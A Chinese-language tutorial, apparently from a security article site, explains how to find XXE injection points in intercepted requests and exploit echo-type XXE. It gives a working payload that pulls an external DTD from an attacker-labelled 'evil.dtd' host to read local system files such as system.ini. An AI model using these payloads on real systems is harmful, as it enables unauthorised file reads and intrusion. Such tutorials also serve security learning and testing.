标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-2765] 作者: hudie 发表于: [2020-10-16]
本文共 [542] 位读者顶过
什么是XXE外部实体注入?
XXE漏洞全程为XML External Entity Injection, 也就是XML外部实体注入漏洞。 需要知道的常识:
1、XML的设计宗旨是传输数据,而非显示数据。
2、XML会自动加载本地服务器的数据,也就是说,服务器会执行,我想让他执行的所有操作。
比如说:我输入一段指令或者代码,让他去查询账号密码,那么这个时候他就会去自己的服务器查找。
3、下面这张图只是一种XML的一种代码格式,因为你没见过所以觉得不熟
HTML代码你见得多吧? PHP你见到多吧?
所以你会觉得比较亲切,但实际上你没有必要去深究他其中的寓意,你可以会利用之后在返回过来去理解这张图,你的感觉可能会更好
![]()
4、 libxml2.9.1 及以后,默认不解析外部实体。 可以使用 phpinfo()查看 libxml 的版本信息 ![]()
看到这里你可能都比较懵,没关系,我们来复现一个案列,那么你可能就懂了 发现漏洞我们在做一些敏感操作的时候,抓包注意以下几个特征: 那么那些事比较敏感的操作呢? 1、登录 or 注册 2、搜索 3、留言 .......等等等,重点还是要抓包
Content-Type:text/xml
在一个数据包里,当你发现这些特征,那么只能是怀疑,注意,是怀疑,此处可能是通过xml进行传输数据。 那么既然产生怀疑,我们就要去验证我们的想法
我们输入一个这样格式的数据添加在下面,注意通常抓到的包都是POST,所以数据包我是放在下面 <test>XXXOO</test>
这个是符合XML格式的一个代码,如果他这个地方确实是XML进行传输数据的,那么他应该不会报错 或者,会显示你所输入的内容
下面这张图200 OK 是没报错 框柱的部分是显示的内容
至此,我们已经可以确定,此处 确确实实是通过XML进行传输数据的 到这里我们先暂停,打住,你现在已经可以独立的去发现XXE漏洞了
那么接下来就是利用环节,如何去利用这个漏洞,扩大它的危害,证明它是需要被修复的 那么这个这个时候,你就需要在了解一些常识: XXE的漏洞类型: 1、回显型 2、无回显型 1)回显型:即你输入一个符合XML格式的代码,你输入什么那么他就会返回什么![]() 2)无回型:即你输入一个符合XML格式的代码,他不会报错,但是啥也不会显示,达不到回显型的效果——你输入啥就显示啥的效果。 怎么利用?咱们先说回显型 扯一句题外话:web渗透测试,犹如瞎子摸石头过河,开始在不行动的时候,周遭是漆黑一片,不知道哪里有水 哪里有石头 哪里有桥,何方有路
那么我就需要一步步的来开始去做尝试 1、先尝试XML的内部引用测试 目的:是为了去确认当前这个位置是否是通过xml协议传输数据,并且是否能够达到回显的效果
<?xml version="1.0"?>
K OK,可以确认当前此处是存在回显的, 而且 而且,我们是输入一个符合XML的协议的格式代码,对方不支持,又如何能显示呢? 所以,此处也确认了确实是通过XML传输协议,传输数据
2、尝试任意文件读取,外部引用SYSTEM 你现在可以打开你的电脑这个路径下的文件先看上一眼,c:/windows/win.ini 然后再主要看下面的图,再来看PAYLOAD -----PYALOAD形式一:受害者页面输入: <?xml version="1.0"?> <!DOCTYPE xxoo SYSTEM "http://127.0.0.1/test/evil.dtd"> <xxoo>&bbbb;</xxoo> ================================================= 攻击者外网服务器: http://127.0.0.1/test/evil.dtd的数据 <!ENTITY bbbb SYSTEM "file:///c:/windows/system.ini">
-------------------------------------Pyload形式二:
这里最关键的点在于 file这是一个文件读取的协议,准确的来说是伪协议,可以读取数据, 为什么可以读,请回看常识部分
我现在是想让它通过我的命令去读取这个目录下面的文件内容,由于XML会自动加载本地服务器的数据,所以它就会去自己的电脑上(服务器)去按照我所给的路径去查找数据,也就有了下面截图的一幕,获取到了对应路径下面的内容
好的至此,回显型的XXE漏洞的发现和利用你就掌握了
|